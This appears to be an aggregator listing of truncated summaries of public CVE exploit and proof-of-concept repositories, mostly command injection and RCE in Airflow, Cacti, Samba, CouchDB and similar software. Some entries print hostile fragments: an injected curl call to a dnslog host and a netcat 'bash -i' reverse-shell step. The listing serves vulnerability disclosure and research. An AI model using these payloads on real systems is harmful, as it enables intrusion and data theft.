CVE-2025-43920

CVE-2025-43920: Command Injection via Email Subject in GNU Mailman 2.1.39 cPanel/WHM Bundle Discovered by: Firudin Davudzada & Musazada Aydan Disclosure Date: April 2025 CVE ID: CVE-2025-43920 Severity: 5.4 Medium CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N Attack Type: Remote Affected Software:...

CVE-2021-40373

CVE-playsms There is a vulnerability in playsms 1.4.3 that allows potential attackers to execute remote code execution. how to reproduce RCE shell: https://playsms.org/ docker pull playsms/playsms:1.4.3 docker run -d -p 80:80 playsms/playsms login using admin:admin...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

CVE-2025-60787

CVE-2025-60787 — motionEye Authenticated RCE Authenticated command injection PoC for CVE-2025-60787. motionEye v0.43.1b4 and earlier write user-controlled camera configuration values such as imagefilename into Motion configuration without sufficient sanitization, allowing command execution when t...

CVE-2019-5392-for-Python3

Python3 compatable version for CVE 2019-5392. You do not have to install python2.7. Run it on your terminal with python3 installed. USAGE: cve.py python3 cve.py 2810 "C:\Windows\Temp"...

CVE-2024-6333

CVE-2024-6333 - Xerox Authenticated Remote Code Execution Authenticated Remote Code Execution vulnerability in Xerox WorkCentre printers via the Network Troubleshooting Log feature. Description The Network Troubleshooting Log functionality /properties/security/networktroubleshootinglog.php fails ...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog via POC 2 curl -X 'POST' ...

CVE-2021-44906

CVE-2021-44906 Originally from: https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip Run npm run hack And you will see the any function's done property is changed to true. The explanation of command line node index.js --.concat.constructor.prototype.done true:...

Empire

Empire Empire è un framework di post-exploitation e adversary emulation utilizzato per supportare i Red Team e i Penetration Tester. Il server di Empire è scritto in Python 3 ed è modulare per consentire flessibilità all'operatore. Empire include nativamente un client che può essere utilizzato da...

CVE-2022-24706

CVE-2022-24706 Contributors White Hat School 4th Batch 39th Class Geum Jeong-hyeon@junghyeonkum CouchDB Erlang Distribution Remote Command Execution Vulnerability CVE-2022-24706 Summary Apache CouchDB is an open-source document-oriented NoSQL database implemented in Erlang. Because Apache CouchDB...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Inyección de Comandos en el Nombre del Trabajo de Impresión de Samba Resumen CVE-2026-4480 es una vulnerabilidad de inyección de comandos que afecta a ciertas configuraciones de impresión de Samba que utilizan comandos de impresión externos. La vulnerabilidad...

cve-2021-26084-confluence

cve-2021-26084-confluence Just run command without brain...

sendmail-clamav-exploit-CVE-2007-4560

Sendmail + ClamAV-Milter Exploit CVE-2007-4560 Python RCE exploit for Sendmail with ClamAV-Milter After successful exploitation: nc 1001 bash -i Tested On Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 References Original exploit: https://www.exploit-...

ipatool

ipatool is a command line tool that allows you to search for iOS, iPadOS, tvOS, watchOS, visionOS, and macOS apps on the App Store, and download .ipa or macOS .pkg app packages. Requirements A supported operating system macOS, Linux, Windows or iOS. An Apple Account already configured to use the...

CVE-2024-1655

CVE-2024-1655 Description ASUS ExpertWiFi EBM63, EBM68, and RT-AX57 Go firmwares before the 12-04-2024 patch contain a command injection vulnerability in splashpageSDN.cgi function. When an attacker sends a specially crafted request, they can achieve arbitrary code execution. references: Official...

CVE-2025-23061

CVE-2025-23061 - Mongoose Command Injection A proof of concept for the Command Injection vulnerability in Mongoose = 7.0.0 = 8.0.0 8.9.5 CVE-2024-53900 & CVE-2025-23061 Timeline November 7, 2024: Dat Phung identified a critical vulnerability in Mongoose and submitted a security report to Snyk...

CVE-2026-108598

Floci 1.1.0 before 2.2.0 contains a code injection vulnerability in VtlTemplateEngine that allows unauthenticated attackers to execute commands via unrestricted Velocity mapping templates. Attackers can create a REST API with a MOCK integration whose template uses $util reflection to reach Runtim...

CVE-2021-31630-OpenPLC-3-Authenticated-RCE

CVE-2021-31630 OpenPLC 3 WebServer Authenticated Remote Code Execution. Description The presence of Command Injection in Open PLC Webserver v3 enables remote attackers to run arbitrary code by exploiting the "Hardware Layer Code Box" component found on the "/hardware" page of the application. Onl...

EUVD-2026-96394

Floci 1.1.0 before 2.2.0 contains a code injection vulnerability in VtlTemplateEngine that allows unauthenticated attackers to execute commands via unrestricted Velocity mapping templates. Attackers can create a REST API with a MOCK integration whose template uses $util reflection to reach Runtim...

CVE-2022-46169

CVE-2022-46169 Exploit for CVE-2022-46169 Cacti versions before 1.2.3 Here remoteclientauthorized checks the clients hostname in poller table for entry function remoteclientauthorized // ... $clientaddr = getclientaddr; // ... $clientname = gethostbyaddr$clientaddr; // ... $pollers =...